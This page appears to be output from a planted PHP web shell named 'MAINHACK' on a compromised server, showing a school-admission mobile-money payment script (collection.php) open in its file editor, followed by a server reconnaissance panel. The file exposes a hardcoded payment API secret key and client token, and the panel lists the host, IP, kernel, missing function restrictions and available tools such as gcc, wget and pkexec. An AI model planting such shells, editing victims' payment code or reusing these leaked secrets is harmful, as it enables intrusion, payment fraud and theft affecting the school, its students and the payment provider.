[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: collection.php
<?php date_default_timezone_set('UTC'); include("functions.php"); if (isset($_GET['myindex']) && isset($_GET['myschoolcode'])) { $indexNo = htmlspecialchars($_GET['myindex']); $schoolCode = htmlspecialchars($_GET['myschoolcode']); $stmt = mysqli_prepare($new, "SELECT * FROM enrol_generic WHERE indexNo = ? AND s_code = ? LIMIT 1"); mysqli_stmt_bind_param($stmt, "ss", $indexNo, $schoolCode); mysqli_stmt_execute($stmt); $result = mysqli_stmt_get_result($stmt); $fetchsch = mysqli_fetch_assoc($result); mysqli_stmt_close($stmt); // If no student record found → redirect to login if (!$fetchsch) { header("Location: index?error=invalid"); exit(); } $student_name = $fetchsch['stud_name']; $stmt2 = mysqli_prepare($new, "SELECT logo, school_name FROM schools WHERE school_code = ? LIMIT 1"); mysqli_stmt_bind_param($stmt2, "s", $schoolCode); mysqli_stmt_execute($stmt2); $result2 = mysqli_stmt_get_result($stmt2); $logocon = mysqli_fetch_assoc($result2); mysqli_stmt_close($stmt2); $school_name = $logocon['school_name'] ?? ''; $url = "https://orchard-api.anmgw.com/sendRequest"; $secret_key = "dXYiHBO7YhvKMtq/MDhLMHTEDwF6U0EcpMPe7jjLwWsej+t+L5FwvJ3u+OR84IIAu6w2QOp6bMghhVDQ6iJF+A=="; $Client_Token = "Cb1FP/Qi5dTSviC9Les9ckO+H7y/CJFBlL9gP7nnvTsb38V8rAmNCPtbxDXAnavgU9m4t6fy9JrECM1UmIhCig=="; $utc_datetime = date("Y-m-d H:i:s"); $unique_exttrid = uniqid("trx_", true); $responseOutput = ""; // placeholder for displaying below form if (isset($_POST['pay'])) { $customer_number = $_POST['customer_number']; $nw = $_POST['nw']; $amount = number_format((float)$_POST['amount'], 2, '.', ''); // "30.00" $payload = [ "amount" => $amount, "callback_url" => "https://m.shsadmissionportal.com/student/callmeback", "customer_number" => $customer_number, "exttrid" => $unique_exttrid, "nw" => $nw, "reference" => "Hello", "service_id" => "4788", "trans_type" => "CTM", "ts" => $utc_datetime ]; $payload_json = json_encode($payload, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE | JSON_PRESERVE_ZERO_FRACTION); // Generate the HMAC signature $signature = hash_hmac('SHA256', $payload_json, $secret_key); // Create the Authorization header $authorizationHeader = "Authorization: $Client_Token:$signature"; $headers = [ $authorizationHeader, "Content-Type: application/json" ]; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_POSTFIELDS, $payload_json); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode == 200 && $response) { $data = json_decode($response, true); if ($data !== null) { // Try common keys that AppsNmobile may use for the txn id $transaction_id = $data['transaction_id'] ?? ($data['transid'] ?? ($data['trans_ref'] ?? '')); $responseOutput = " <div id='verify-box' data-exttrid='{$unique_exttrid}' data-trxid='{$transaction_id}' data-index='{$indexNo}' data-school='{$schoolCode}'></div> <!-- Modal --> <div id='myModal' class='modal' style=' display:flex; align-items:center; justify-content:center; position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.6); z-index: 9999; '> <div style='background:#fff; padding:2rem; border-radius:10px; text-align:center; box-shadow:0 4px 10px rgba(0,0,0,0.3); max-width:400px;'> <h3>Approve Payment</h3> <p>Please check your phone and approve the transaction.</p> <p>Status: <strong id='live-status'>Pending...</strong></p> </div> </div> <script> (function() { var verifyBox = document.getElementById('verify-box'); if (!verifyBox) return; var exttrid = verifyBox.getAttribute('data-exttrid') || ''; var trxid = verifyBox.getAttribute('data-trxid') || ''; var indexNo = verifyBox.getAttribute('data-index') || ''; var school = verifyBox.getAttribute('data-school') || ''; var modal = document.getElementById('myModal'); if (modal) modal.style.display = 'flex'; function enc(v){ return encodeURIComponent(v || ''); } function checkStatus() { fetch('verify_this.php?exttrid=' + enc(exttrid)) .then(function(res){ return res.json(); }) .then(function(data){ var statusEl = document.getElementById('live-status'); if (statusEl) statusEl.textContent = data.status || 'PENDING'; if (data.status === 'SUCCESS') { if (modal) modal.style.display = 'none'; window.location.href = 'mysuccesspay.php' + '?exttrid=' + enc(exttrid) + '&transaction_id=' + enc(trxid) + '&myindex=' + enc(indexNo) + '&myschoolcode=' + enc(school); } else if (data.status === 'FAILED') { if (modal) modal.style.display = 'none'; window.location.href = 'failed.php' + '?exttrid=' + enc(exttrid) + '&transaction_id=' + enc(trxid) + '&myindex=' + enc(indexNo) + '&myschoolcode=' + enc(school); } else { setTimeout(checkStatus, 3000); } }) .catch(function(err){ console.error('Verification error:', err); // Keep polling in case of transient network errors setTimeout(checkStatus, 3000); }); } checkStatus(); })(); </script>"; } else { $responseOutput = "<div class='errors'>Invalid response received</div>"; } } } } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>Collection API Demo</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <style> body { font-family: system-ui, -apple-system, Segoe UI, Roboto, sans-serif; margin: 0; padding: 0; background: #f4f7fa; color: #333; } .container { display: flex; justify-content: center; align-items: flex-start; min-height: 100vh; padding: 2rem 1rem; } .card { background: #fff; max-width: 600px; width: 100%; padding: 2rem; border-radius: 12px; box-shadow: 0 8px 20px rgba(0, 0, 0, 0.12); } h2 { margin-top: 0; font-size: 1.5rem; color: #2b6cb0; text-align: center; } .muted { color: #666; font-size: 0.9rem; text-align: center; margin-bottom: 1.5rem; } .row { display: grid; grid-template-columns: 1fr 1fr; gap: 24px; margin-bottom: 1rem; } @media (max-width: 600px) { .row { grid-template-columns: 1fr; gap: 16px; } } label { display: block; font-weight: 600; margin: 0.5rem 0 0.25rem; color: #444; } input, select { width: 100%; padding: 0.75rem; border-radius: 8px; border: 1px solid #ccc; font-size: 1rem; transition: border 0.2s, box-shadow 0.2s; } input:focus, select:focus { border-color: #2b6cb0; outline: none; box-shadow: 0 0 5px rgba(43,108,176,0.3); } button { padding: 0.9rem 1.25rem; border-radius: 10px; border: 0; cursor: pointer; font-weight: 600; font-size: 1rem; width: 100%; background: #2b6cb0; color: #fff; transition: background 0.3s, transform 0.1s; } button:hover { background: #1a4f87; } button:active { transform: scale(0.98); } .response { margin-top: 2rem; padding: 1rem; background: #f9fafb; border: 1px solid #ddd; border-radius: 8px; font-size: 0.95rem; overflow-x: auto; } /* ✅ Modal Styling */ .modal { display: none; position: fixed; z-index: 9999; left: 0; top: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.5); justify-content: center; align-items: center; } .modal-content { background: #fff; padding: 2rem; border-radius: 12px; text-align: center; max-width: 400px; width: 90%; box-shadow: 0 8px 20px rgba(0,0,0,0.2); animation: fadeIn 0.3s ease-in-out; } .modal h3 { margin: 0 0 1rem; color: #2b6cb0; } @keyframes fadeIn { from { opacity: 0; transform: translateY(-20px); } to { opacity: 1; transform: translateY(0); } } </style> </head> <body> <div class="container"> <div class="card"> <div class="card-body text-center"> <h2 class="fw-bold text-primary mb-3">SHS ONLINE ADMISSION (BBECAS)</h2> <p class="fs-5"> Dear <span class="fw-semibold text-dark"><?php echo $student_name; ?></span>, you have been successfully placed in <span class="fw-bold text-success"><?php echo $school_name; ?></span>. </p> <p class="mt-3 text-muted"> Please proceed to make payment in order to complete your enrolment form. </p> </div> <form id="paymentForm" method="post" action=""> <div class="row"> <div> <label for="amount">Amount</label> <input id="amount" name="amount" type="number" value="1" readonly> </div> <div> <label for="customer_number">Momo Number</label> <input id="customer_number" name="customer_number" type="text" required> </div> </div> <div class="row"> <div> <label for="nw">Network</label> <select id="nw" name="nw" required> <?php $options = ['MTN', 'VOD', 'AIR']; $sel = $_POST['nw'] ?? ''; foreach ($options as $opt) { $s = ($sel === $opt) ? 'selected' : ''; echo "<option value=\"{$opt}\" {$s}>{$opt}</option>"; } ?> </select> </div> </div> <div style="margin-top: 1.5rem;"> <button class="btn" type="submit" name="pay">Pay Now</button> </div> </form> <div id="response-box"> <?php echo $responseOutput; ?> </div> </div> </div> <div id="myModal" class="modal"> <div class="modal-content"> <h2>Approve Payment</h2> <p>Please check your phone and approve the transaction.</p> <p>Status: <span id="live-status">Pending...</span></p> </div> </div> <script> const form = document.getElementById('paymentForm'); const modal = document.getElementById('paymentModal'); form.addEventListener('submit', function() { // Show modal when form is submitted modal.style.display = 'flex'; }); </script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002